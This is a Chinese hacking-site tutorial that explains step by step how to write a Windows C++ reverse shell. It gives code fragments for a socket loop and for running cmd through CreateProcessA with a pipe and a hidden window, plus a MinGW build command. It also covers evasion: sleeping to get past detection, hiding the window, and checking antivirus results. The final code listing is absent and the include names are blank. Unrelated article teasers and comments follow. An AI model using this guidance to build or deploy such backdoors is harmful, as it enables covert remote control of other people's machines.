当前位置:首页 > 网络黑客 > 正文内容

渗透不会反弹shell?来教你写一个cmd的shell

访客4年前 (2021-04-09)网络黑客461

  渗透不会反弹shell?来教你写一个cmd的shell

  包含的库:

  #include

  #include

  #include

  #include

  #include

  #pragma comment(lib, "Ws2_32.lib")

  #define DEFAULT_BUFLEN 1024

  winsock2和ws2tcpip两个库文件是用来初始化网络套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。

  我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip。

  int RunShell(char *host, int port){

  }

  int main(int argc, char** argv) {

  }

  其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的第一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。

  下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:

  基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。具体的用法,可以查看微软官方的文档:

  

  我们继续,接下来我们来编写我们的接收函数,并进行处理。

  char RecvData[DEFAULT_BUFLEN];

  memset(RecvData, 0, sizeof(RecvData));//将RecvData清0

  int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据

  if (RecvCode<=0) {

  closesocket(ShellSock);

  WSACleanup();

  continue;

  }

  然后我们定义一个数组来存放我们接收的数据,并使用memset将其清0,保证数据的准确性,因为recv如果错误的返回值是0或者负数,所以我们进行一个简单的判断,小于等于0时做跟前面相同的操作。

  具体函数的用法参考:

  

  假如此时我们已经跟主机建立了连接,也成功接受到了数据,我们就应该将我们接收到的数据进行执行,并但返回给我们的主机。

  主要思路就是调用CreateProcessA函数函数,去处理我们接收的值,然后启动一个cmd进程处理并返回。

  我们先来看一下CreateProcessA的用法:

  BOOL CreateProcessA(

  LPCSTR lpApplicationName,

  LPSTR lpCommandLine,

  LPSECURITY_ATTRIBUTES lpProcessAttributes,

  LPSECURITY_ATTRIBUTES lpThreadAttributes,

  BOOL bInheritHandles,

  DWORD dwCreationFlags,

  LPVOID lpEnvironment,

  LPCSTR lpCurrentDirectory,

  LPSTARTUPINFOA lpStartupInfo,

  LPPROCESS_INFORMATION lpProcessInformation

  );

  其他的都好说,主要是后两个参数,STARTUPINFOA 和PROCESS_INFORMATION的指针,他们的定义为:

  typedef struct _PROCESS_INFORMATION {

  HANDLE hProcess;

  HANDLE hThread;

  DWORD dwProcessId;

  DWORD dwThreadId;

  } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

  typedef struct _STARTUPINFOA {

  DWORD cb;

  LPSTR lpReserved;

  LPSTR lpDesktop;

  LPSTR lpTitle;

  DWORD dwX;

  DWORD dwY;

  DWORD dwXSize;

  DWORD dwYSize;

  DWORD dwXCountChars;

  DWORD dwYCountChars;

  DWORD dwFillAttribute;

  DWORD dwFlags;

  WORD wShowWindow;

  WORD cbReserved2;

  LPBYTE lpReserved2;

  HANDLE hStdInput;

  HANDLE hStdOutput;

  HANDLE hStdError;

  } STARTUPINFOA, *LPSTARTUPINFOA;

  既然需要我们就定义这样的两个指针,然后再来调用我们的函数。

  pApplicationName 指向一个NULL结尾的、用来指定可执行模块的字符串。这个参数可以被设为NULL,在这种情况下,可执行模块的名字必须处于 lpCommandLine 参数最前面并由空格符与后面的字符分开。

  lpCommandLine 指向一个以NULL结尾的字符串,该字符串指定要执行的命令行。这个参数可以为空,那么函数将使用lpApplicationName参数指定的字符串当做要运行的程序的命令行。如果lpApplicationName和lpCommandLine参数都不为空,那么lpApplicationName参数指定将要被运行的模块,lpCommandLine参数指定将被运行的模块的命令行。新运行的进程可以使用GetCommandLine函数获得整个命令行。C语言程序可以使用argc和argv参数。

  lpProcessAttributes 指向一个SECURITY_ATTRIBUTES结构体,这个结构体决定是否返回的句柄可以被子进程继承。

  lpThreadAttributes 同lpProcessAttribute,不过这个参数决定的是线程是否被继承,通常置为NULL。

  bInheritHandles 指示新进程是否从调用进程处继承了句柄。如果参数的值为真,调用进程中的每一个可继承的打开句柄都将被子进程继承。被继承的句柄与原进程拥有完全相同的值和访问权限。

  dwCreationFlags 指定附加的、用来控制优先类和进程的创建的标志。

  lpEnvironment 指向一个新进程的环境块。如果此参数为空,新进程使用调用进程的环境。 一个环境块存在于一个由以NULL结尾的字符串组成的块中,这个块也是以NULL结尾的。

  lpCurrentDirectory 指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。这个字符串必须是一个包含驱动器名的绝对路径。如果这个参数为空,新进程将使用与调用进程相同的驱动器和目录。这个选项是一个需要启动应用程序并指定它们的驱动器和工作目录的外壳程序的主要条件。

  lpStartupInfo 指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体。

  lpProcessInformation 指向一个用来接收新进程的识别信息的PROCESS_INFORMATION结构体。

  cb表示包含STARTUPINFO结构中的字节数,应用程序必须将cb初始化为sizeof(STARTUPINFO)。

  dwFlags表示结构体启用哪些成员,其中STARTFUSESHOWWINDOW表示使用结构体成员wShowWindow;STARTFUSESTDHANDLES表示使用结构体成员hStdInput、hStdOutput 和 hStdError。

  wShowWindow用于窗口显示方式,SW_HIDE表示隐藏窗口。

  hStdOutput 和 hStdError用于标识控制台窗口的缓存。

  除了这些之外,我们还需要一个管道来获取命令执行后的值。

  BOOL WINAPI CreatePipe(

  _Out_PHANDLE hReadPipe,

  _Out_PHANDLE hWritePipe,

  _In_opt_LPSECURITY_ATTRIBUTES lpPipeAttributes,

  _In_DWORD nSize

  );

  大体的流程就是初始化匿名管道的安全属性结构体SECURITY_ATTRIBUTES调用函数 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄对即将创建的进程结构体STARTUPINFO进行初始化,设置进程窗口隐藏,并把上面管道数据写入句柄赋值给新进程控制台窗口的缓存句柄,这样,新进程会把窗口缓存的输出数据写入到匿名管道中开始调用 CreateProcess 函数创建新进程,执行 CMD 命令,并调用函数 WaitForSingleObject 等待命令执行完毕,命令执行完毕后,便调用 ReadFile 函数根据匿名管道的数据读取句柄从匿名管道的缓冲区中读取缓冲区的数据,这个数据就是新进程执行命令返回的结果数据,然后将得到的数据发送给我们的服务端。

  详细的函数说明如下:

  

  

  

  最后的代码如下:

  使用下面的方式编译:

  i686-w64-mingw32-g++ 2.cpp -o 2.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

  执行效果如下:

  

  

  vt检测:

  

  在渗透测试过程中,经常会用到反弹shell,学习本实验《反弹shell的N种姿势》,了解反弹shell的概念和原理,掌握各种反弹shell的实现技术和方法。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106687.html

分享给朋友:

“渗透不会反弹shell?来教你写一个cmd的shell” 的相关文章

华流年京东618怎么个便宜法

京东618年中大促作为京东活动力度最大的一个购物节,自然是受到很多人关注的,有些小伙伴一早就想好要在京东618上面买什么东西了,还有些小伙伴连今年京东618怎么个便宜法都不知道,下面就由百思特小编来给大家说说吧! 2020京东618便宜多少...

淘宝什么时候发货(淘宝一般都是什么时候发货)

随着12月的到来,“双12推广”也如约而至。作为2020年电商最后一次推广,三天爆发也需要提前布局。 1双十二赛马规则 过去双十一促销,很多商家说没有达到预期,甚至很多免费流量也没有改变。问题的关键其实在于赛马规则。大推广前会有额外的赛马规则分配免费流量。想要在推广期获得更确定性的流量,必须了解...

奥运会遭到俄罗斯黑客攻击!黑客攻击微信聊天记录

人民网2021年8月13日02:28:03的消息,黑客攻击微信聊天记录 东京奥运会惨遭俄罗斯黑客攻击! 英国国家网络安全中心日前揭露了一项惊人的黑客计划:俄罗斯军事情报部门曾准备对原定今夏举办的东京奥林匹克运动会和残奥会发起网络攻击。据悉,其攻击目标涵盖赛事组织者、后勤公司和赞助商。 打开百...

【干货知识】高級不断渗透第八季-demo就是远程控制

本季度是《高級不断渗透-第七季demo的发展》的持续。 点一下文尾左下角“阅读”可阅读文章第七季文章正文。 在第一季有关后门中,文章内容提及再次编译程序notepad ,来引入有目标源代码后门结构。 在第六季有关后门中,文章内容假定不在获知notepad 的源代码,来引入无目标源代码沟...

网咖加盟店排行榜(网吧加盟有什么牌子)

杰拉,网咖的话有网鱼、现在年轻人都喜欢看动漫,而网咖可以做到吃喝玩乐于一体,会业务人员跟你联系,连锁加盟要看品牌的影响力和运营能力,其实武汉的网咖还是蛮多的,有直营店。 这是选择加盟模式非常重要的地方,http/wgoldenkccn/网吧showneasp?NewsID=158网吧连锁的管理方案简...

如厕阅读-如厕时读书看报有哪些坏处?

如厕阅读-如厕时读书看报有哪些坏处? 读书、看报兼如厕,不少人有这样的习惯。然而这一习惯非常不好。蹲厕时读书看报,会干扰大脑对排便传导神经的指挥,延长排便时间。现代医学研究证实,蹲厕超过3分钟即可直接导致直肠静脉曲张淤血,易诱发痔疮,且病情的轻重与时间长短有关。蹲厕时间越长,发病几率越高。因为久蹲...

评论列表

可难望笑
2年前 (2022-06-26)

个由以NULL结尾的字符串组成的块中,这个块也是以NULL结尾的。  lpCurrentDirectory 指向一个以NULL结尾的字符串,这个字符串用来指定子进程的工作路径。这个字符串必须是一个包含驱动器名的绝对路

断渊千鲤
2年前 (2022-06-26)

体的流程就是初始化匿名管道的安全属性结构体SECURITY_ATTRIBUTES调用函数 CreatePipe 创建匿名管道,获取管道数据读取句柄和管道数据写入句柄对即将创建的进程结构体STARTU

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。